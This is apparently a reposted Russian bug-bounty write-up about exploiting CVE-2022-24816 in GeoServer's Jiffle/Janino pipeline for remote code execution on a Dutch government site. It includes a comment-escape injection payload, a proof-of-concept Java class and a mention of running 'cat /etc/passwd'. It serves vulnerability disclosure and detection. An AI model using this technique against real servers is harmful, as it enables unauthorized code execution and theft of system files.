Информационная безопасность (ИБ)
September 16

Как я взломал правительство Нидерландов: эксплуатация невинного изображения для удаленного выполнения кода. Взлом правительства Нидерландов с помощью RCE.

Мотивация:
На конференции по безопасности я заметил человека в футболке с надписью: «Я взломал правительство Нидерландов, и всё, что я получил — эту паршивую футболку». Заинтригованный, я подошел к нему, чтобы узнать, как он это сделал. Я был полон решимости заполучить такой же классный сувенир.

Область исследования:
Я начал искать возможности и наткнулся на список сайтов, подходящих для багхантинга, на https://gist.github.com/R0X4R/81e6c50c091a20b060afe5c259b58cfa. Этот список стал отправной точкой для моих поисков.

Цель:
Я использовал httpx для оценки текущего состояния, стека технологий, кодов состояния HTTP и названий каждого веб-сайта в списке. Это позволило мне получить ценную информацию об инфраструктуре.

 cat scope.txt | sort -u | ~/go/bin/httpx -sc -title -tech-detect

При проверке сайтов, которые возвращали ответ 200 OK, я заметил, что один из них использует сервисы GeoServer.
Я попытался использовать Nuclei для сканирования, однако уязвимостей обнаружено не было.

Обнаружение:
Я выяснил, что сервис позволяет мне использовать его функционал без необходимости аутентификации. Я запустил Burp Suite и начал взаимодействовать с приложением, исследуя его на наличие уязвимостей и возможные точки эксплуатации.

Я провел некоторое исследование GeoServer. Это, по сути, сервер с открытым исходным кодом для обмена геопространственными данными. Он поддерживает стандартные протоколы, такие как WFS, WMS и WCS. Кроме того, по умолчанию в нем активирован API JAI-EXT, который предоставляет высокоуровневые объекты для обработки изображений.

Проект JAI-EXT включает язык для обработки растровых изображений под названием Jiffle. Jiffle — это простой скриптовый язык, который позволяет делать больше с меньшим количеством кода.

В ходе дальнейших исследований была обнаружена уязвимость в расширении JT-JIFFLE, идентифицированная как CVE-2022–24816, 13 апреля 2022 года.

Эксплуатация:
Уязвимость заключается в обработке скриптов Jiffle библиотекой JAI-EXT, которая должна компилировать и выполнять их в безопасной среде. Однако из-за неправильной валидации вредоносный код, встроенный в изображение или другие данные, мог быть внедрен и выполнен на уязвимой системе. Этот код использовал компилятор Janino, применяемый JAI-EXT, что в итоге приводило к удаленному выполнению кода (RCE) с полными привилегиями системы.

Основная проблема заключается в неправильной проверке кода, что позволяет выполнить RCE через скрипты Jiffle и компилятор Janino.

В патче можно заметить, что в методе Script write класса it.geosolutions.jaiext.jiffle.parser.node.Script добавлено экранирование комментариев Javadoc. Как уже упоминалось, этот метод используется Jiffle для преобразования модели скрипта в исходный код на Java.

Один из подходов заключается в создании подходящего XML-запроса WPS с помощью демонстрационной страницы конструктора WPS.

Этот запрос приводит к детализированной ошибке javax.media.jai.util.ImagingException:

HTTP/1.1 200 [...]

<?xml version="1.0" encoding="UTF-8"?><wps:ExecuteResponse xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:xlink="http://www.w3.org/1999/xlink" xml:lang="en" service="WPS" serviceInstance="http://localhost:8085/geoserver/ows?" version="1.0.0"><wps:Process wps:processVersion="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><ows:Title>Jiffle map algebra</ows:Title><ows:Abstract>Map algebra powered by Jiffle</ows:Abstract></wps:Process><wps:Status creationTime="2022-08-11T12:36:24.457Z"><wps:ProcessFailed><ows:ExceptionReport version="1.1.0"><ows:Exception exceptionCode="NoApplicableCode"><ows:ExceptionText>Process failed during execution javax.media.jai.util.ImagingException: All factories fail for the operation &amp;quot;Jiffle&amp;quot; All factories fail for the operation &amp;quot;Jiffle&amp;quot;it.geosolutions.jaiext.jiffle.JiffleException: Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;

import java.util.List; import java.util.ArrayList; import java.util.Arrays;

/** * Java runtime class generated from the following Jiffle script: *&amp;lt;code&amp;gt; * dest = 1; */ *&amp;lt;/code&amp;gt; */ public class JiffleIndirectRuntimeImpl extends it.geosolutions.jaiext.jiffle.runtime.AbstractIndirectRuntime { [...] }

Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime; [...]

Line 11, Column 3: One of &amp;apos;class enum interface @&amp;apos; expected instead of &amp;apos;*&amp;apos;

Компилятор Janino сталкивается с ошибкой при преобразовании исходного кода в байт-код, когда он обнаруживает строку с комментариями, начинающуюся с * вместо ожидаемых ключевых слов, таких как class, enum или interface.

Чтобы вставить Java-код в файл, мы также должны исправить оставшиеся комментарии, добавив строку /*. Наша полезная нагрузка будет иметь следующий вид:

<wps:LiteralData>dest = 1; */ INJECTED JAVA CODE /*</wps:LiteralData>

Jiffle генерирует Java-код, который позволил переопределить класс Double, используемый для инициализации переменной результата в конце программы:

double result = Double.NaN;

При обращении к статическому атрибуту NaN нашего управляемого класса Double запускается выполнение статического блока кода. Управляемый класс Double, используемый в качестве доказательства концепции, описан ниже:

public class Double {
 public static double NaN;
 static {
  throw new RuntimeException(": Мы контролируем выполнение кода :)");
 }
}

Выполнение команды стало простым. Был использован следующий класс Doubleдля запуска выполнения команды “cat /etc/passwd”.:

Объединяя это с исходной полезной нагрузкой для обхода комментариев в Java, был выполнен следующий запрос:

Исполнение этого запроса привело к исключению java.lang.ExceptionInInitializerError, содержащее вывод выполненной команды:

Был создан шаблон Nuclei для обнаружения данной уязвимости, который можно найти по следующей ссылке GitHub: CVE-2022–24816.yaml.

Таймлайн:
Отчет отправлен: 22 декабря 2022 года
Подтверждено: 23 декабря 2022 года
Сувениры получены: 24 марта 2023 года

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

Новости Кибербеза

Курсы по программированию

Юмор